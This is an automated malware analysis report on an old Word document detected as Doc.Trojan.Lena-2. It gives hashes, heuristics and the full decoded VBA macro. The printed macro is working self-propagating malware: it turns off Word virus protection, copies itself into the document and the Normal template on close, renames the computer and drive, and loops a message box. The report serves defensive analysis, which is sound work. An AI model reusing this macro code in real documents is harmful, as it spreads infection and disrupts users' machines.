Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 357bd1d5f5dc0ac9…

MALICIOUS

Office (OLE)

38.0 KB Created: 1998-07-28 04:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a1a34aea083a876f7408579788e10a93 SHA-1: 5b980d9538a27431e21b3578142edaddcb2b8e55 SHA-256: 357bd1d5f5dc0ac9f11d3ef64ace2397af7758d9e2a1ea0b90db2a9818e24fc1
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro named 'Lena' with an AutoClose subroutine. This macro attempts to copy itself to the active document and the NormalTemplate, indicating a self-propagation mechanism. The ClamAV detection 'Doc.Trojan.Lena-2' further supports its malicious nature. The macro also attempts to set the computer name and volume label to 'LENA', and the user initials to 'L.B'.

Heuristics 5

  • ClamAV: Doc.Trojan.Lena-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lena-2
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 38,912 bytes but its declared streams total only 19,412 bytes — 19,500 bytes (50%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1989 bytes
SHA-256: 4790a2ff642fc2b5d40b67d1ee2b5468f853d05e7a481296eee588dfb76358be
Detection
ClamAV: Doc.Trojan.Lena-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Lena"
Declare Function SetComputerName Lib "kernel32" Alias "SetComputerNameA" (ByVal lpComputerName As String) As Long
Declare Function SetVolumeLabel Lib "kernel32" Alias "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal lpVolumeName As String) As Long
Sub AutoClose()
On Error GoTo ULTRAS
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
Application.UserName = "Lena"
Application.UserInitials = "L.B"
DocInfect = False
GlobInfect = False
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
For L = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(L).Name = "Lena" Then
DocInfect = True
End If
Next
For U = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(U).Name = "Lena" Then
GlobInfect = True
End If
Next
If DocInfect = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Lena", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs filename:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
If GlobInfect = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Lena", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
Application.DisplayAlerts = wdAlertsAll
If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then
Lcomputer = SetComputerName("LENA")
Ldisk = SetVolumeLabel("C:\", "LENA")
End If
If Day(Now()) = 9 Then
Do
MsgBox "I love you Lena!!!", vbCritical + vbOKOnly, "ULTRAS"
Loop
ActiveDocument.Password = "LeNa"
ActiveDocument.Save
End If
ULTRAS:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.